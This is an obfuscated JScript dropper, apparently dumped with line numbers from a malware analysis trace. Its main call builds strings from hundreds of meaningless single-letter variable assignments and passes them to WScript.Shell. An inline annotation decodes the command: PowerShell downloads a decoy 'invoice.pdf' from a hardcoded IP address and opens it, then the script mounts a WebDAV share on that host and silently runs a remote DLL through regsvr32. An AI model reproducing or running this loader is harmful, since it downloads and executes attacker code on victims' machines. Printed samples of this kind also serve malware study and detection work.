5	if ( bxzrufwc == aanbjnec[jnplp] )
6	{
7	bxzrufwc = true;
8	break ;
9	}
10	}
11	if ( bxzrufwc !== true )
12	this[oxxwwiofu + mcsyiotn + jfcwezpqr + krwscj + fxetdrgzt + hervq + jyakiurf][mofym + xbbaig + fxetdrgzt + jyakiurf] ( );
13	this[oxxwwiofu + mcsyiotn + jfcwezpqr + krwscj + fxetdrgzt + hervq + jyakiurf][vakuuodf + krwscj + mnuiaxd + sawempnud + jyakiurf + mnuiaxd + aondk + fxylm + dwfngm + mnuiaxd + jfcwezpqr + jyakiurf] ( oxxwwiofu + mcsyiotn + jfcwezpqr + krwscj + fxetdrgzt + hervq + jyakiurf + psgoqiphs + mcsyiotn + xxrdozvfs + mnuiaxd + dxsbcl + dxsbcl ) [krwscj + xbbaig + fxvimj] ( jfcwezpqr + urtsixid + qcadgy + lwmmrzczs + porormf + jfcwezpqr + lwmmrzczs + hervq + gcmjy + gjnxfrkxh + mnuiaxd + krwscj + himyhghhv + xxrdozvfs + mnuiaxd + dxsbcl + dxsbcl + psgoqiphs + mnuiaxd + vdyyfyn + mnuiaxd + lwmmrzczs + zlqmhf + vakuuodf + gcmjy + urtsixid + urtsixid + sawempnud + fxvimj + qcadgy + lwmmrzczs + ypkas + bybuy + fxvimj + hraupvagj + gcmjy + hnkoyxxjx + mnuiaxd + zlqmhf + oxxwwiofu + mnuiaxd + fxylm + omfphvhs + mnuiaxd + euiboiddd + xbbaig + mnuiaxd + himyhghhv + jyakiurf + lwmmrzczs + zlqmhf + aondk + xbbaig + jyakiurf + oskxvhz + fxetdrgzt + dxsbcl + mnuiaxd + lwmmrzczs + jpwkyryyl + jyakiurf + mnuiaxd + urtsixid + hervq + jpwkyryyl + dbagpi + fxetdrgzt + fxvimj + hraupvagj + gcmjy + fxetdrgzt + jfcwezpqr + mnuiaxd + psgoqiphs + hervq + qcadgy + nwqirmhv + lwmmrzczs + xxrdozvfs + jyakiurf + jyakiurf + hervq + jxvxfka + porormf + porormf + kcxogxzo + rrzhcym + xdyrq + psgoqiphs + kcxogxzo + aazkeeypu + xdyrq + psgoqiphs + kcxogxzo + psgoqiphs + wnbcdb + iefgrbxww + itbnwilqt + porormf + fxetdrgzt + fxvimj + hraupvagj + gcmjy + fxetdrgzt + jfcwezpqr + mnuiaxd + psgoqiphs + hervq + xxrdozvfs + hervq + ypkas + tpobhfci + tpobhfci + himyhghhv + jyakiurf + sawempnud + krwscj + jyakiurf + lwmmrzczs + jpwkyryyl + jyakiurf + mnuiaxd + urtsixid + hervq + jpwkyryyl + dbagpi + fxetdrgzt + fxvimj + hraupvagj + gcmjy + fxetdrgzt + jfcwezpqr + mnuiaxd + psgoqiphs + hervq + qcadgy + nwqirmhv + tpobhfci + tpobhfci + jfcwezpqr + urtsixid + qcadgy + lwmmrzczs + porormf + jfcwezpqr + lwmmrzczs + fxvimj + mnuiaxd + jyakiurf + lwmmrzczs + xbbaig + himyhghhv + mnuiaxd + lwmmrzczs + dbagpi + dbagpi + kcxogxzo + rrzhcym + xdyrq + psgoqiphs + kcxogxzo + aazkeeypu + xdyrq + psgoqiphs + kcxogxzo + psgoqiphs + wnbcdb + iefgrbxww + itbnwilqt + qxkft + exmhkihat + exmhkihat + exmhkihat + exmhkihat + dbagpi + qcadgy + sawempnud + hraupvagj + gjnxfrkxh + gjnxfrkxh + gjnxfrkxh + krwscj + gcmjy + gcmjy + jyakiurf + dbagpi + tpobhfci + tpobhfci + jfcwezpqr + urtsixid + qcadgy + lwmmrzczs + porormf + jfcwezpqr + lwmmrzczs + krwscj + mnuiaxd + jfiwmx + himyhghhv + hraupvagj + krwscj + xdyrq + wnbcdb + lwmmrzczs + porormf + himyhghhv + lwmmrzczs + dbagpi + dbagpi + kcxogxzo + rrzhcym + xdyrq + psgoqiphs + kcxogxzo + aazkeeypu + xdyrq + psgoqiphs + kcxogxzo + psgoqiphs + wnbcdb + iefgrbxww + itbnwilqt + qxkft + exmhkihat + exmhkihat + exmhkihat + exmhkihat + dbagpi + qcadgy + sawempnud + hraupvagj + gjnxfrkxh + gjnxfrkxh + gjnxfrkxh + krwscj + gcmjy + gcmjy + jyakiurf + dbagpi + wnbcdb + rrzhcym + gnbpv + kcxogxzo + rrzhcym + gnbpv + aazkeeypu + itbnwilqt + kcxogxzo + xtlinvxku + xdyrq + xdyrq + psgoqiphs + qcadgy + dxsbcl + dxsbcl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll",0,false) ➔ 0
14	}
15	mnuiaxd = "f";
16	mnuiaxd = "M";
17	mnuiaxd = "M";
18	mnuiaxd = "Z";
19	mnuiaxd = "w";
20	mnuiaxd = "Q";
21	mnuiaxd = "k";
22	mnuiaxd = "m";
23	mnuiaxd = "l";
24	mnuiaxd = "R";
25	mnuiaxd = "W";
26	mnuiaxd = "p";
27	mnuiaxd = "X";
28	mnuiaxd = "R";
29	mnuiaxd = "C";
30	mnuiaxd = "m";
31	mnuiaxd = "t";
32	mnuiaxd = "r";
33	mnuiaxd = "a";
34	mnuiaxd = "t";
35	mnuiaxd = "L";
36	mnuiaxd = "U";
37	mnuiaxd = "h";
38	mnuiaxd = "l";
39	mnuiaxd = "y";
40	mnuiaxd = "u";
41	mnuiaxd = "W";
42	mnuiaxd = "g";
43	mnuiaxd = "e";
44	mnuiaxd = "m";
45	mnuiaxd = "c";
46	mnuiaxd = "X";
47	mnuiaxd = "o";
48	mnuiaxd = "B";
49	mnuiaxd = "S";
50	mnuiaxd = "M";
51	mnuiaxd = "t";
52	mnuiaxd = "o";
53	mnuiaxd = "v";
54	mnuiaxd = "K";
55	mnuiaxd = "s";
56	mnuiaxd = "e";
57	bybuy = "i";
58	bybuy = "q";
59	bybuy = "D";
60	bybuy = "H";
61	bybuy = "w";
62	bybuy = "I";
63	bybuy = "X";
64	bybuy = "V";
65	bybuy = "w";
66	bybuy = "l";
67	bybuy = "w";
68	bybuy = "U";
69	bybuy = "U";
70	bybuy = "I";
71	qxkft = "M";
72	qxkft = "R";
73	qxkft = "i";
74	qxkft = "N";
75	qxkft = "e";
76	qxkft = "k";
77	qxkft = "s";
78	qxkft = "t";
79	qxkft = "R";
80	qxkft = "I";
81	qxkft = "N";
82	qxkft = "k";
83	qxkft = "v";
84	qxkft = "R";
85	qxkft = "j";
86	qxkft = "u";
87	qxkft = "h";
88	qxkft = "e";
89	qxkft = "L";
90	qxkft = "z";
91	qxkft = "A";
92	qxkft = "M";
93	qxkft = "H";
94	qxkft = "X";
95	qxkft = "J";
96	qxkft = "W";
97	qxkft = "N";
98	qxkft = "b";
99	qxkft = "t";
100	qxkft = "b";
101	qxkft = "H";
102	qxkft = "h";
103	qxkft = "g";
104	qxkft = "Z";
105	qxkft = "F";
106	qxkft = "R";
107	qxkft = "L";
108	qxkft = "@";
109	fxvimj = "J";
110	fxvimj = "F";
111	fxvimj = "g";
112	fxvimj = "I";
113	fxvimj = "T";
114	fxvimj = "l";
115	fxvimj = "C";
116	fxvimj = "N";
117	fxvimj = "J";
118	fxvimj = "b";
119	fxvimj = "R";
120	fxvimj = "l";
121	fxvimj = "a";
122	fxvimj = "z";
123	fxvimj = "f";
124	fxvimj = "P";
125	fxvimj = "T";
126	fxvimj = "n";
127	fxvimj = "d";
128	fxvimj = "t";
129	fxvimj = "N";
130	fxvimj = "Y";
131	fxvimj = "q";
132	fxvimj = "B";
133	fxvimj = "b";
134	fxvimj = "D";
135	fxvimj = "c";
136	fxvimj = "k";
137	fxvimj = "v";
138	fxvimj = "n";
139	ujyxy = "a";
140	ujyxy = "Y";
141	ujyxy = "j";
142	ujyxy = "P";
143	ujyxy = "L";
144	vdyyfyn = "L";
145	vdyyfyn = "K";
146	vdyyfyn = "x";
147	hervq = "P";
148	hervq = "p";
149	qpvhk = "K";
150	sawempnud = "U";
151	sawempnud = "k";
152	sawempnud = "K";
153	sawempnud = "B";
154	sawempnud = "G";
155	sawempnud = "O";
156	sawempnud = "F";
157	sawempnud = "u";
158	sawempnud = "i";
159	sawempnud = "h";
160	sawempnud = "c";
161	sawempnud = "Y";
162	sawempnud = "P";
163	sawempnud = "c";
164	sawempnud = "O";
165	sawempnud = "V";
166	sawempnud = "P";
167	sawempnud = "Q";
168	sawempnud = "h";
169	sawempnud = "n";
170	sawempnud = "s";
171	sawempnud = "o";
172	sawempnud = "N";
173	sawempnud = "q";
174	sawempnud = "y";
175	sawempnud = "x";
176	sawempnud = "N";
177	sawempnud = "P";
178	sawempnud = "w";
179	sawempnud = "Y";
180	sawempnud = "m";
181	sawempnud = "Z";
182	sawempnud = "y";
183	sawempnud = "A";
184	sawempnud = "D";
185	sawempnud = "U";
186	sawempnud = "a";
187	rrzhcym = "h";
188	rrzhcym = "x";
189	rrzhcym = "F";
190	rrzhcym = "j";
191	rrzhcym = "w";
192	rrzhcym = "i";
193	rrzhcym = "Q";
194	rrzhcym = "Q";
195	rrzhcym = "D";
196	rrzhcym = "F";
197	rrzhcym = "g";
198	rrzhcym = "I";
199	rrzhcym = "t";
200	rrzhcym = "j";
201	rrzhcym = "f";
202	rrzhcym = "M";
203	rrzhcym = "H";
204	rrzhcym = "d";
205	rrzhcym = "P";
206	rrzhcym = "u";
207	rrzhcym = "9";
208	iftbhdsk = "B";
209	iftbhdsk = "o";
210	iftbhdsk = "e";
211	iftbhdsk = "d";
212	iftbhdsk = "v";
213	iftbhdsk = "o";
214	iftbhdsk = "M";
215	iftbhdsk = "t";
216	iftbhdsk = "L";
217	iftbhdsk = "g";
218	iftbhdsk = "c";
219	iftbhdsk = "t";
220	iftbhdsk = "n";
221	iftbhdsk = "f";
222	iftbhdsk = "l";
223	iftbhdsk = "h";
224	iftbhdsk = "T";
225	iftbhdsk = "T";
226	iftbhdsk = "a";
227	iftbhdsk = "E";
228	iftbhdsk = "g";
229	iftbhdsk = "D";
230	iftbhdsk = "u";
231	iftbhdsk = "W";
232	iftbhdsk = "E";
233	iftbhdsk = "F";
234	iftbhdsk = "g";
235	iftbhdsk = "T";
236	iftbhdsk = "E";
237	iftbhdsk = "e";
238	iftbhdsk = "E";
239	iftbhdsk = "P";
240	himyhghhv = "L";
241	himyhghhv = "m";
242	himyhghhv = "o";
243	himyhghhv = "Z";
244	himyhghhv = "I";
245	himyhghhv = "Y";
246	himyhghhv = "z";
247	himyhghhv = "E";
248	himyhghhv = "e";
249	himyhghhv = "N";
250	himyhghhv = "C";
251	himyhghhv = "X";
252	himyhghhv = "o";
253	himyhghhv = "O";
254	himyhghhv = "K";
255	himyhghhv = "m";
256	himyhghhv = "o";
257	himyhghhv = "T";
258	himyhghhv = "T";
259	himyhghhv = "r";
260	himyhghhv = "w";
261	himyhghhv = "t";
262	himyhghhv = "A";
263	himyhghhv = "M";
264	himyhghhv = "i";
265	himyhghhv = "t";
266	himyhghhv = "D";
267	himyhghhv = "J";
268	himyhghhv = "y";
269	himyhghhv = "g";
270	himyhghhv = "j";
271	himyhghhv = "s";
272	kcxogxzo = "i";
273	kcxogxzo = "V";
274	kcxogxzo = "Q";
275	kcxogxzo = "V";
276	kcxogxzo = "M";
277	kcxogxzo = "N";
278	kcxogxzo = "R";
279	kcxogxzo = "X";
280	kcxogxzo = "k";
281	kcxogxzo = "n";
282	kcxogxzo = "c";
283	kcxogxzo = "z";
284	kcxogxzo = "X";
285	kcxogxzo = "R";
286	kcxogxzo = "V";
287	kcxogxzo = "B";
288	kcxogxzo = "E";
289	kcxogxzo = "E";
290	kcxogxzo = "q";
291	kcxogxzo = "A";
292	kcxogxzo = "e";
293	kcxogxzo = "T";
294	kcxogxzo = "e";
295	kcxogxzo = "T";
296	kcxogxzo = "A";
297	kcxogxzo = "e";
298	kcxogxzo = "z";
299	kcxogxzo = "r";
300	kcxogxzo = "C";
301	kcxogxzo = "l";
302	kcxogxzo = "H";
303	kcxogxzo = "w";
304	kcxogxzo = "v";
305	kcxogxzo = "G";
306	kcxogxzo = "U";
307	kcxogxzo = "t";
308	kcxogxzo = "1";
309	aondk = "Z";
310	aondk = "X";
311	aondk = "d";
312	aondk = "h";
313	aondk = "h";
314	aondk = "U";
315	aondk = "X";
316	aondk = "X";
317	aondk = "e";
318	aondk = "h";
319	aondk = "O";
320	psgoqiphs = "o";
321	psgoqiphs = "i";
322	psgoqiphs = "v";
323	psgoqiphs = "W";
324	psgoqiphs = "W";
325	psgoqiphs = "S";
326	psgoqiphs = "v";
327	psgoqiphs = "z";
328	psgoqiphs = "h";
329	psgoqiphs = "y";
330	psgoqiphs = "O";
331	psgoqiphs = "z";
332	psgoqiphs = "y";
333	psgoqiphs = "C";
334	psgoqiphs = ".";
335	jfiwmx = "J";
336	jfiwmx = "E";
337	jfiwmx = "r";
338	jfiwmx = "y";
339	jfiwmx = "D";
340	jfiwmx = "d";
341	jfiwmx = "m";
342	jfiwmx = "o";
343	jfiwmx = "D";
344	jfiwmx = "R";
345	jfiwmx = "C";
346	jfiwmx = "W";
347	jfiwmx = "R";
348	jfiwmx = "Z";
349	jfiwmx = "S";
350	jfiwmx = "Q";
351	jfiwmx = "P";
352	jfiwmx = "K";
353	jfiwmx = "y";
354	jfiwmx = "A";
355	jfiwmx = "V";
356	jfiwmx = "m";
357	jfiwmx = "p";
358	jfiwmx = "L";
359	jfiwmx = "i";
360	jfiwmx = "W";
361	jfiwmx = "U";
362	jfiwmx = "J";
363	jfiwmx = "v";
364	jfiwmx = "n";
365	jfiwmx = "I";
366	jfiwmx = "Z";
367	jfiwmx = "j";
368	jfiwmx = "W";
369	jfiwmx = "u";
370	jfiwmx = "J";
371	jfiwmx = "t";
372	jfiwmx = "G";
373	jfiwmx = "D";
374	jfiwmx = "r";
375	jfiwmx = "L";
376	jfiwmx = "l";
377	jfiwmx = "C";
378	jfiwmx = "g";
379	fxetdrgzt = "e";
380	fxetdrgzt = "Y";
381	fxetdrgzt = "O";
382	fxetdrgzt = "c";
383	fxetdrgzt = "T";
384	fxetdrgzt = "t";
385	fxetdrgzt = "L";
386	fxetdrgzt = "A";
387	fxetdrgzt = "S";
388	fxetdrgzt = "C";
389	fxetdrgzt = "l";
390	fxetdrgzt = "O";
391	fxetdrgzt = "G";
392	fxetdrgzt = "j";
393	fxetdrgzt = "t";
394	fxetdrgzt = "D";
395	fxetdrgzt = "d";
396	fxetdrgzt = "s";
397	fxetdrgzt = "v";
398	fxetdrgzt = "i";
399	fxetdrgzt = "Y";
400	fxetdrgzt = "N";
401	fxetdrgzt = "c";
402	fxetdrgzt = "B";
403	fxetdrgzt = "z";
404	fxetdrgzt = "l";
405	fxetdrgzt = "i";
406	vakuuodf = "N";
407	vakuuodf = "N";
408	vakuuodf = "k";
409	vakuuodf = "S";
410	vakuuodf = "k";
411	vakuuodf = "d";
412	vakuuodf = "u";
413	vakuuodf = "u";
414	vakuuodf = "y";
415	vakuuodf = "l";
416	vakuuodf = "w";
417	vakuuodf = "z";
418	vakuuodf = "h";
419	vakuuodf = "c";
420	vakuuodf = "e";
421	vakuuodf = "A";
422	vakuuodf = "d";
423	vakuuodf = "g";
424	vakuuodf = "g";
425	vakuuodf = "M";
426	vakuuodf = "b";
427	vakuuodf = "T";
428	vakuuodf = "O";
429	vakuuodf = "k";
430	vakuuodf = "s";
431	vakuuodf = "R";
432	vakuuodf = "l";
433	vakuuodf = "o";
434	vakuuodf = "V";
435	vakuuodf = "X";
436	vakuuodf = "O";
437	vakuuodf = "e";
438	vakuuodf = "t";
439	vakuuodf = "g";
440	vakuuodf = "T";
441	vakuuodf = "w";
442	vakuuodf = "P";
443	vakuuodf = "g";
444	vakuuodf = "o";
445	vakuuodf = "S";
446	vakuuodf = "s";
447	vakuuodf = "B";
448	vakuuodf = "C";
449	krwscj = "G";
450	krwscj = "G";
451	krwscj = "N";
452	krwscj = "l";
453	krwscj = "q";
454	krwscj = "M";
455	krwscj = "S";
456	krwscj = "c";
457	krwscj = "l";
458	krwscj = "t";
459	krwscj = "m";
460	krwscj = "C";
461	krwscj = "c";
462	krwscj = "z";
463	krwscj = "L";
464	krwscj = "c";
465	krwscj = "y";
466	krwscj = "S";
467	krwscj = "z";
468	krwscj = "Y";
469	krwscj = "g";
470	krwscj = "n";
471	krwscj = "m";
472	krwscj = "U";
473	krwscj = "M";
474	krwscj = "o";
475	krwscj = "P";
476	krwscj = "k";
477	krwscj = "n";
478	krwscj = "J";
479	krwscj = "F";
480	krwscj = "M";
481	krwscj = "M";
482	krwscj = "h";
483	krwscj = "h";
484	krwscj = "X";
485	krwscj = "E";
486	krwscj = "M";
487	krwscj = "l";
488	krwscj = "A";
489	krwscj = "C";
490	krwscj = "r";
491	aazkeeypu = "A";
492	aazkeeypu = "Q";
493	aazkeeypu = "l";
494	aazkeeypu = "b";
495	aazkeeypu = "X";
496	aazkeeypu = "Q";
497	aazkeeypu = "N";
498	aazkeeypu = "K";
499	aazkeeypu = "4";
500	hykuir = "z";
501	hykuir = "j";
502	hykuir = "t";
503	hykuir = "U";
504	hykuir = "k";
505	hykuir = "F";
506	hykuir = "L";
507	hykuir = "m";
508	hykuir = "i";
509	hykuir = "E";
510	hykuir = "h";
511	hykuir = "o";
512	hykuir = "s";
513	hykuir = "y";
514	hykuir = "N";
515	jyakiurf = "x";
516	jyakiurf = "c";
517	jyakiurf = "H";
518	jyakiurf = "E";
519	jyakiurf = "w";
520	jyakiurf = "v";
521	jyakiurf = "Z";
522	jyakiurf = "L";
523	jyakiurf = "k";
524	jyakiurf = "i";
525	jyakiurf = "i";
526	jyakiurf = "j";
527	jyakiurf = "K";
528	jyakiurf = "m";
529	jyakiurf = "W";
530	jyakiurf = "D";
531	jyakiurf = "E";
532	jyakiurf = "b";
533	jyakiurf = "n";
534	jyakiurf = "T";
535	jyakiurf = "U";
536	jyakiurf = "R";
537	jyakiurf = "y";
538	jyakiurf = "m";
539	jyakiurf = "Y";
540	jyakiurf = "j";
541	jyakiurf = "d";
542	jyakiurf = "r";
543	jyakiurf = "m";
544	jyakiurf = "r";
545	jyakiurf = "s";
546	jyakiurf = "y";
547	jyakiurf = "a";
548	jyakiurf = "L";
549	jyakiurf = "G";
550	jyakiurf = "B";
551	jyakiurf = "e";
552	jyakiurf = "N";
553	jyakiurf = "X";
554	jyakiurf = "V";
555	jyakiurf = "M";
556	jyakiurf = "h";
557	jyakiurf = "P";
558	jyakiurf = "A";
559	jyakiurf = "t";
560	dxsbcl = "J";
561	dxsbcl = "T";
562	dxsbcl = "Q";
563	dxsbcl = "Z";
564	dxsbcl = "g";
565	dxsbcl = "r";
566	dxsbcl = "B";
567	dxsbcl = "I";
568	dxsbcl = "D";
569	dxsbcl = "b";
570	dxsbcl = "l";
571	dxsbcl = "u";
572	dxsbcl = "E";
573	dxsbcl = "B";
574	dxsbcl = "t";
575	dxsbcl = "E";
576	dxsbcl = "P";
577	dxsbcl = "u";
578	dxsbcl = "X";
579	dxsbcl = "C";
580	dxsbcl = "t";
581	dxsbcl = "d";
582	dxsbcl = "C";
583	dxsbcl = "s";
584	dxsbcl = "I";
585	dxsbcl = "S";
586	dxsbcl = "w";
587	dxsbcl = "s";
588	dxsbcl = "N";
589	dxsbcl = "j";
590	dxsbcl = "k";
591	dxsbcl = "u";
592	dxsbcl = "D";
593	dxsbcl = "E";
594	dxsbcl = "O";
595	dxsbcl = "w";
596	dxsbcl = "p";
597	dxsbcl = "l";
598	xtlinvxku = "q";
599	xtlinvxku = "X";
600	xtlinvxku = "v";
601	xtlinvxku = "E";
602	xtlinvxku = "M";
603	xtlinvxku = "U";
604	xtlinvxku = "S";
605	xtlinvxku = "R";
606	xtlinvxku = "U";
607	xtlinvxku = "G";
608	xtlinvxku = "K";
609	xtlinvxku = "C";
610	xtlinvxku = "h";
611	xtlinvxku = "K";
612	xtlinvxku = "S";
613	xtlinvxku = "r";
614	xtlinvxku = "S";
615	xtlinvxku = "f";
616	xtlinvxku = "H";
617	xtlinvxku = "e";
618	xtlinvxku = "E";
619	xtlinvxku = "c";
620	xtlinvxku = "6";
621	zlqmhf = "l";
622	zlqmhf = "q";
623	zlqmhf = "m";
624	zlqmhf = "t";
625	zlqmhf = "v";
626	zlqmhf = "U";
627	zlqmhf = "d";
628	zlqmhf = "y";
629	zlqmhf = "Y";
630	zlqmhf = "Q";
631	zlqmhf = "B";
632	zlqmhf = "f";
633	zlqmhf = "X";
634	zlqmhf = "x";
635	zlqmhf = "I";
636	zlqmhf = "B";
637	zlqmhf = "R";
638	zlqmhf = "P";
639	zlqmhf = "b";
640	zlqmhf = "V";
641	zlqmhf = "m";
642	zlqmhf = "r";
643	zlqmhf = "T";
644	zlqmhf = "y";
645	zlqmhf = "-";
646	itbnwilqt = "j";
647	itbnwilqt = "Y";
648	itbnwilqt = "P";
649	itbnwilqt = "U";
650	itbnwilqt = "F";
651	itbnwilqt = "j";
652	itbnwilqt = "b";
653	itbnwilqt = "y";
654	itbnwilqt = "n";
655	itbnwilqt = "b";
656	itbnwilqt = "d";
657	itbnwilqt = "S";
658	itbnwilqt = "I";
659	itbnwilqt = "A";
660	itbnwilqt = "C";
661	itbnwilqt = "m";
662	itbnwilqt = "i";
663	itbnwilqt = "5";
664	gcmjy = "L";
665	gcmjy = "P";
666	gcmjy = "h";
667	gcmjy = "M";
668	gcmjy = "b";
669	gcmjy = "E";
670	gcmjy = "Y";
671	gcmjy = "G";
672	gcmjy = "y";
673	gcmjy = "T";
674	gcmjy = "g";
675	gcmjy = "r";
676	gcmjy = "O";
677	gcmjy = "E";
678	gcmjy = "O";
679	gcmjy = "c";
680	gcmjy = "e";
681	gcmjy = "o";
682	gcmjy = "O";
683	gcmjy = "g";
684	gcmjy = "B";
685	gcmjy = "O";
686	gcmjy = "b";
687	gcmjy = "n";
688	gcmjy = "u";
689	gcmjy = "D";
690	gcmjy = "b";
691	gcmjy = "r";
692	gcmjy = "d";
693	gcmjy = "z";
694	gcmjy = "Y";
695	gcmjy = "o";
696	gcmjy = "b";
697	gcmjy = "W";
698	gcmjy = "k";
699	gcmjy = "F";
700	gcmjy = "t";
701	gcmjy = "A";
702	gcmjy = "t";
703	gcmjy = "L";
704	gcmjy = "U";
705	gcmjy = "o";
706	mofym = "F";
707	mofym = "u";
708	mofym = "O";
709	mofym = "P";
710	mofym = "g";
711	mofym = "m";
712	mofym = "G";
713	mofym = "t";
714	mofym = "f";
715	mofym = "Y";
716	mofym = "I";
717	mofym = "m";
718	mofym = "n";
719	mofym = "j";
720	mofym = "B";
721	mofym = "k";
722	mofym = "v";
723	mofym = "L";
724	mofym = "I";
725	mofym = "E";
726	mofym = "n";
727	mofym = "Z";
728	mofym = "c";
729	mofym = "s";
730	mofym = "R";
731	mofym = "m";
732	mofym = "K";
733	mofym = "V";
734	mofym = "P";
735	mofym = "t";
736	mofym = "X";
737	mofym = "n";
738	mofym = "g";
739	mofym = "y";
740	mofym = "Q";
741	otxxxbn = "p";
742	otxxxbn = "Y";
743	otxxxbn = "g";
744	otxxxbn = "k";
745	otxxxbn = "h";
746	otxxxbn = "C";
747	otxxxbn = "w";
748	otxxxbn = "O";
749	otxxxbn = "P";
750	otxxxbn = "S";
751	otxxxbn = "l";
752	otxxxbn = "d";
753	otxxxbn = "W";
754	otxxxbn = "e";
755	otxxxbn = "o";
756	otxxxbn = "T";
757	otxxxbn = "g";
758	otxxxbn = "l";
759	otxxxbn = "a";
760	otxxxbn = "n";
761	otxxxbn = "w";
762	otxxxbn = "o";
763	otxxxbn = "D";
764	otxxxbn = "r";
765	otxxxbn = "b";
766	otxxxbn = "g";
767	otxxxbn = "x";
768	otxxxbn = "A";
769	otxxxbn = "D";
770	otxxxbn = "U";
771	otxxxbn = "V";
772	otxxxbn = "H";
773	otxxxbn = "Y";
774	ypkas = "s";
775	ypkas = "m";
776	ypkas = "U";
777	ypkas = "n";
778	ypkas = "w";
779	ypkas = "Z";
780	ypkas = "B";
781	ypkas = "z";
782	ypkas = "M";
783	ypkas = "f";
784	ypkas = "C";
785	ypkas = "X";
786	ypkas = "a";
787	ypkas = "T";
788	ypkas = "Q";
789	ypkas = "s";
790	ypkas = "z";
791	ypkas = "R";
792	ypkas = "g";
793	ypkas = "g";
794	ypkas = "u";
795	ypkas = "C";
796	ypkas = "O";
797	ypkas = "w";
798	ypkas = "s";
799	ypkas = "a";
800	ypkas = "q";
801	ypkas = "y";
802	ypkas = "G";
803	ypkas = "I";
804	ypkas = "w";
805	ypkas = "\"";
806	waxuxym = "i";
807	waxuxym = "i";
808	waxuxym = "W";
809	waxuxym = "C";
810	waxuxym = "s";
811	waxuxym = "K";
812	waxuxym = "F";
813	waxuxym = "K";
814	waxuxym = "m";
815	waxuxym = "R";
816	waxuxym = "P";
817	waxuxym = "i";
818	waxuxym = "B";
819	waxuxym = "b";
820	waxuxym = "m";
821	waxuxym = "X";
822	waxuxym = "E";
823	porormf = "L";
824	porormf = "V";
825	porormf = "K";
826	porormf = "C";
827	porormf = "l";
828	porormf = "z";
829	porormf = "D";
830	porormf = "j";
831	porormf = "D";
832	porormf = "w";
833	porormf = "t";
834	porormf = "E";
835	porormf = "g";
836	porormf = "r";
837	porormf = "/";
838	jfcwezpqr = "K";
839	jfcwezpqr = "z";
840	jfcwezpqr = "Y";
841	jfcwezpqr = "u";
842	jfcwezpqr = "a";
843	jfcwezpqr = "Y";
844	jfcwezpqr = "J";
845	jfcwezpqr = "j";
846	jfcwezpqr = "P";
847	jfcwezpqr = "i";
848	jfcwezpqr = "j";
849	jfcwezpqr = "w";
850	jfcwezpqr = "x";
851	jfcwezpqr = "c";
852	urtsixid = "o";
853	urtsixid = "q";
854	urtsixid = "q";
855	urtsixid = "P";
856	urtsixid = "o";
857	urtsixid = "o";
858	urtsixid = "f";
859	urtsixid = "O";
860	urtsixid = "l";
861	urtsixid = "J";
862	urtsixid = "v";
863	urtsixid = "x";
864	urtsixid = "Y";
865	urtsixid = "i";
866	urtsixid = "S";
867	urtsixid = "h";
868	urtsixid = "c";
869	urtsixid = "j";
870	urtsixid = "s";
871	urtsixid = "Q";
872	urtsixid = "O";
873	urtsixid = "o";
874	urtsixid = "o";
875	urtsixid = "o";
876	urtsixid = "q";
877	urtsixid = "B";
878	urtsixid = "i";
879	urtsixid = "q";
880	urtsixid = "t";
881	urtsixid = "p";
882	urtsixid = "h";
883	urtsixid = "n";
884	urtsixid = "b";
885	urtsixid = "o";
886	urtsixid = "q";
887	urtsixid = "O";
888	urtsixid = "Y";
889	urtsixid = "Q";
890	urtsixid = "m";
891	xdyrq = "D";
892	xdyrq = "R";
893	xdyrq = "k";
894	xdyrq = "H";
895	xdyrq = "y";
896	xdyrq = "D";
897	xdyrq = "z";
898	xdyrq = "P";
899	xdyrq = "v";
900	xdyrq = "G";
901	xdyrq = "p";
902	xdyrq = "g";
903	xdyrq = "d";
904	xdyrq = "s";
905	xdyrq = "Q";
906	xdyrq = "a";
907	xdyrq = "k";
908	xdyrq = "t";
909	xdyrq = "B";
910	xdyrq = "i";
911	xdyrq = "G";
912	xdyrq = "O";
913	xdyrq = "B";
914	xdyrq = "N";
915	xdyrq = "v";
916	xdyrq = "k";
917	xdyrq = "C";
918	xdyrq = "l";
919	xdyrq = "U";
920	xdyrq = "j";
921	xdyrq = "l";
922	xdyrq = "S";
923	xdyrq = "t";
924	xdyrq = "e";
925	xdyrq = "O";
926	xdyrq = "H";
927	xdyrq = "R";
928	xdyrq = "Y";
929	xdyrq = "s";
930	xdyrq = "S";
931	xdyrq = "3";
932	tpobhfci = "i";
933	tpobhfci = "s";
934	tpobhfci = "j";
935	tpobhfci = "a";
936	tpobhfci = "x";
937	tpobhfci = "B";
938	tpobhfci = "R";
939	tpobhfci = "e";
940	tpobhfci = "H";
941	tpobhfci = "K";
942	tpobhfci = "H";
943	tpobhfci = "k";
944	tpobhfci = "Q";
945	tpobhfci = "I";
946	tpobhfci = "D";
947	tpobhfci = "t";
948	tpobhfci = "P";
949	tpobhfci = "W";
950	tpobhfci = "n";
951	tpobhfci = "U";
952	tpobhfci = "&";
953	omfphvhs = "M";
954	omfphvhs = "s";
955	omfphvhs = "t";
956	omfphvhs = "f";
957	omfphvhs = "p";
958	omfphvhs = "w";
959	omfphvhs = "P";
960	omfphvhs = "h";
961	omfphvhs = "l";
962	omfphvhs = "c";
963	omfphvhs = "A";
964	omfphvhs = "P";
965	omfphvhs = "p";
966	omfphvhs = "f";
967	omfphvhs = "p";
968	omfphvhs = "B";
969	omfphvhs = "a";
970	omfphvhs = "Z";
971	omfphvhs = "O";
972	omfphvhs = "H";
973	omfphvhs = "g";
974	omfphvhs = "J";
975	omfphvhs = "U";
976	omfphvhs = "q";
977	omfphvhs = "l";
978	omfphvhs = "z";
979	omfphvhs = "z";
980	omfphvhs = "m";
981	omfphvhs = "n";
982	omfphvhs = "w";
983	omfphvhs = "y";
984	omfphvhs = "J";
985	omfphvhs = "E";
986	omfphvhs = "p";
987	omfphvhs = "b";
988	omfphvhs = "Y";
989	omfphvhs = "I";
990	omfphvhs = "h";
991	omfphvhs = "o";
992	omfphvhs = "l";
993	omfphvhs = "R";
994	xbbaig = "o";
995	xbbaig = "I";
996	xbbaig = "R";
997	xbbaig = "m";
998	xbbaig = "J";
999	xbbaig = "N";
1000	xbbaig = "O";
1001	xbbaig = "s";
1002	xbbaig = "r";
1003	xbbaig = "X";
1004	xbbaig = "N";
1005	xbbaig = "Z";
1006	xbbaig = "e";
1007	xbbaig = "u";
1008	dwfngm = "i";
1009	dwfngm = "w";
1010	dwfngm = "G";
